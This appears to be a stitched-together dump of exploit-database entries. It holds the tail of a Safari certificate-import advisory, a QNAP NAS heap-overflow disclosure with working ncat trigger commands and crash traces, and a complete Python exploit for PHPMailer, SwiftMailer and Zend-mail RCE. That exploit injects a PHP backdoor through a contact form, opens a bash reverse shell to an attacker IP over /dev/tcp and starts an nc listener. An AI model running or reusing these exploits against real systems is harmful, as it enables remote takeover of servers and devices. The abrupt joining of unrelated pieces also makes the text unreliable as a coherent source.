https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40906.zip

--------------------------------------------------------------------------------------
5. Safari and sandbox
How is possible that safari don't ask user before run 'Preferences' app to start process of importing certificate? Safari automatically start new process without asking user for acceptance of this operation what can be exploited through http redirect to untrusted content.

--------------------------------------------------------------------------------------

6. References
CAPEC-44: Overflow Binary Resource File
https://capec.mitre.org/data/definitions/44.html
https://cert.cx/
https://cxsecurity.com/

Best Regards/Pozdrowienia/С наилучшими пожеланиями
Maksymilian Arciemowicz

References:

https://support.apple.com/HT207422
https://support.apple.com/HT207425
https://support.apple.com/HT207426
https://cert.cx/appleios10/300k.php
https://cert.cx/appleios10/500k.php
https://cert.cx/appleios10/700k.php
https://cert.cx/appleios10/900k.php
https://cert.cx/appleios10/expl.html
https://capec.mitre.org/data/definitions/44.html
            
==================

1) [Heap overflow]

==================

Path: /home/httpd/cgi-bin/cgi.cgi

u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443

HTTP/1.1 200 OK

Date: Sat, 31 Dec 2016 00:01:11 GMT

*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***

======= Backtrace: =========

======= Memory map: ========

08048000-08069000 r-xp 00000000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00: 00 0 [heap]

[====SNIP====]

ffe53000-ffe54000 rw-p 00000000 00: 00 0

Content-Length: 0

Connection: close

Content-Type: text/plain

[Remote host]#

=======

1.2)

/* Local test, to get more info from backtrace */

# export QUERY_STRING="u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`"

# ./cgi.cgi

*** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***

======= Backtrace: =========

/lib/libc.so.6[0xf6c3da62]

/lib/libc.so.6(cfree+0x89)[0xf6c3f729]

/lib/libc.so.6(fclose+0x136)[0xf6c2e5c6]

/lib/libnss_compat.so.2[0xf6b8ac25]

/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282]

/lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57]

/lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8]

/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972]

/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66]

/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
19098]

./cgi.cgi[0x80502ed]

./cgi.cgi[0x8051a7e]

/lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90]

./cgi.cgi[0x804d151]

======= Memory map: ========

08048000-08069000 r-xp 00000000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00:00 0 [heap]

[====SNIP====]

ffd9e000-ffdbe000 rwxp 00000000 00:00 0 [stack]

ffdbe000-ffdbf000 rw-p 00000000 00:00 0

Aborted

#

1.3)

# export QUERY_STRING="u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`"

# ./cgi.cgi

*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***

======= Backtrace: =========

/lib/libc.so.6[0xf6c9da62]

/lib/libc.so.6(cfree+0x89)[0xf6c9f729]

/lib/libc.so.6(fclose+0x136)[0xf6c8e5c6]

/lib/libnss_compat.so.2[0xf6beac25]

/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282]

/lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57]

/lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8]

/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972]

/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66]

/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
79098]

[0x80502ed]

[0x0]

======= Memory map: ========

08048000-08069000 r-xp 00000000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00:00 0 [heap]

[====SNIP====]

# ./cgi.cgi

Segmentation fault

#

# dmesg

[====SNIP====]

[ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000]

[====SNIP====]

/* Local as shown below, but can of course be called from remote */

==================

2) [STACK junk]

==================

# export QUERY_STRING="bug"

# ./jc.cgi

Segmentation fault

# dmesg

[====SNIP====]

[76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000]

[====SNIP====]

==================

3) [STACK junk]

==================

/* Local as shown, but can be called from remote */

# export QUERY_STRING="bug"

# ./mediaGet.cgi

Segmentation fault

# dmesg

[====SNIP====]

[76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000]

[====SNIP====]

Have a nice day (and happy new year)

/bashis

========================

Hello mcw (at) noemail (dot) eu [email concealed],

We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post:

* You might have spelled or formatted the group name incorrectly.

* The owner of the group may have removed this group.

* You may need to join the group before receiving permission to post.

* This group may not be open to posting.

If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/qnap.com/bin/topic.py?topic=25838.

Thanks,

qnap.com admins

----- Original message -----

X-Received: by 10.99.242.5 with SMTP id v5mr94097752pgh.181.1483213806030;

Sat, 31 Dec 2016 11:50:06 -0800 (PST)

Return-Path: <mcw (at) noemail (dot) eu [email concealed]>

Received: from qnappm.info (mail2.qnappm.info. [113.196.50.102])

by mx.google.com with ESMTP id c74si60891262pfk.272.2016.12.31.11.50.05

for <security (at) qnap (dot) com [email concealed]>;

Sat, 31 Dec 2016 11:50:06 -0800 (PST)

Received-SPF: fail (google.com: domain of mcw (at) noemail (dot) eu [email concealed] does not designate 113.196.50.102 as permitted sender) client-ip=113.196.50.102;

Authentication-Results: mx.google.com;

spf=fail (google.com: domain of mcw (at) noemail (dot) eu [email concealed] does not designate 113.196.50.102 as permitted sender) smtp.mailfrom=mcw (at) noemail (dot) eu [email concealed]

X-AuthUser: qnap1688 (at) qnappm (dot) info [email concealed]

Received: from aid.qnap.com ([113.196.50.99]:36962)

by mail2.qnappm.info with [XMail 1.27 ESMTP Server]

id <S7F885> for <security (at) qnap (dot) com [email concealed]> from <mcw (at) noemail (dot) eu [email concealed]>;

Sun, 1 Jan 2017 04:13:48 +0800

Date: Sun, 1 Jan 2017 03:50:06 +0800

Return-Path: mcw (at) noemail (dot) eu [email concealed]

To: security (at) qnap (dot) com [email concealed]

From: bashis mcw <mcw (at) noemail (dot) eu [email concealed]>

Subject: Reporting Security Issues - [Critical] QNAP NAS devices suffer of Heap Overflow!

Message-ID: <5acc9d206d9601dc574a02b114c83e8a (at) aid.qnap (dot) com [email concealed]>

X-Priority: 3

X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_5acc9d206d9601dc574a02b114c83e8a"

Category : Administration

Subject : QNAP NAS devices suffer of Heap Overflow!

Severity Level : Critical

Description :

Greetings gents,

QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and

non critical stack crash in "jc.cgi and mediaGet.cgi".

Successful exploitation of this heap overflow vulnerability can lead to

unauthorised root (admin) privileges on QNAP devices with anonymous

access. (no credential needed to exploit)

Please note: 1st February 2017 i will release details of these bugs to

Full Disclosure and Bugtraq e-mail lists.

Please see below and attached.

Have a nice day (and happy new year)

/bashis

==================

1) [HEAP overflow]

==================

Path: /home/httpd/cgi-bin/cgi.cgi

u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i

Sign Time : 2017/01/01 03:50:06
            
#!/usr/bin/python

intro = """\033[94m 
    __                     __   __  __           __                 
   / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
  / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
 / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  ) 
/_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/  
           /____/                                                   


PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
		     a.k.a "PwnScriptum"

 CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074


This PoC exploit aims to execute a reverse shell on the target in 
the context of the web-server user via vulnerable PHP email library.


Discovered and Coded by:

\033[1;34m 
 Dawid Golunski
 https://legalhackers.com

 t: @dawid_golunski for updates
\033[0m
\033[94m 
P.$. For testing only! Don't break the Web ;) 
\033[0m
"""
info = """
[Version]
Limited (ver. 1.0)

[PoC Video]
See the the exploit in action at:

https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

[Info]
This exploit targets a common webapp component - Contact Form. 

It combines payloads for the following vulns:

1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html

3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html

[Usage]

./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
                                  [-d TARGET_UP_DIR] -ip ATTACKERS_IP
                                  [-p ATTACKERS_PORT] [--version]
                                  [--post-action POST_ACTION]
                                  [--post-name POST_NAME]
                                  [--post-email POST_EMAIL]
                                  [--post-msg POST_MSG]

Note, make sure the contact form matches the default field names (send/name/email/msg). 
Otherwise override with --post-msg=message_box for example.

"""

import os
import argparse
import time
import urllib
import urllib2
import socket
import sys


# The Main Meat
print intro

# Show info
if '-H' in sys.argv:
	print info
	exit(0)
# Parse input args
parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')
parser.add_argument('-H', action='store_true', default="false", required=False,    help='Full Help / Info Page')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True,  help='WebApp Base Url')
parser.add_argument('-cf',  dest='CONTACT_SCRIPT',  required=True,  help='Contact Form scriptname')
parser.add_argument('-d' ,  dest='TARGET_UP_DIR',   required=False, help='Target Upload Dir')
parser.add_argument('-ip',  dest='ATTACKERS_IP',    required=True,  help='Attackers Public IP for RevShell')
parser.add_argument('-p',   dest='ATTACKERS_PORT',  required=False, help='Attackers Port for RevShell listener')
parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition')
parser.add_argument('--post-action', dest='POST_ACTION',  required=False, help='Overrides POST "action" field name',         default="send")
parser.add_argument('--post-name',   dest='POST_NAME',    required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email',  dest='POST_EMAIL',   required=False, help='Overrides POST "email" field name',          default="email")
parser.add_argument('--post-msg',    dest='POST_MSG',     required=False, help='Overrides POST "message" field name',        default="msg")
args = parser.parse_args()

# Preset vars
TMOUT = 3
# Set Vars
if args.ATTACKERS_PORT is None:
	args.ATTACKERS_PORT = 8080
if args.TARGET_UP_DIR  is None:
	args.TARGET_UP_DIR = "upload"
# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
BACKDOOR_URL  = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT

# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL     = [%s]
CONTACT_SCRIPT      = [%s]
TARGET_UP_DIR       = [%s]
ATTACKERS_IP        = [%s]
ATTACKERS_PORT      = [%s]
CONTACT_SCRIPT_URL  = [%s]
BACKDOOR_FILEl      = [%s]
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)


print "[+] Choose your target / payload: "
print "\033[1;34m"
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
	        The escapeshellarg() bypass :)\n"""
print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print "\033[0m"

try:
    target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
    print "Not a valid choice. Exiting\n"
    exit(2)
if (target>4):
    print "No such target. Exiting\n"
    exit(3)
if target == 1:
	# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
	payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 2:
	# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
	payload = "\"attacker\\' -oQ/tmp/ -X%s/%s  some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 3:
	# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
        payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 4:
	# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
        payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)

print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
# e.g: 
#RCE_PHP_CODE = "<?php phpinfo(); ?>" 
RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' ");  ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) 

# The form names might need to be adjusted
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}

# Attack
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
response = urllib2.urlopen(req)
the_page = response.read()


# Check if the backdoor was uploaded correctly.
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
# So we catch the timeout to find out.

# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
got_timeout = 0
http_err = 0
try:
    urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
except urllib2.HTTPError as e:
    http_err = e.code
except socket.timeout as e:
    print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
    got_timeout = 1

if (got_timeout != 1):
    print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err
    exit(2)

# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
os.system("nc -v -l -p %d" % args.ATTACKERS_PORT)

print "\n[+] Shell closed\n"

print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"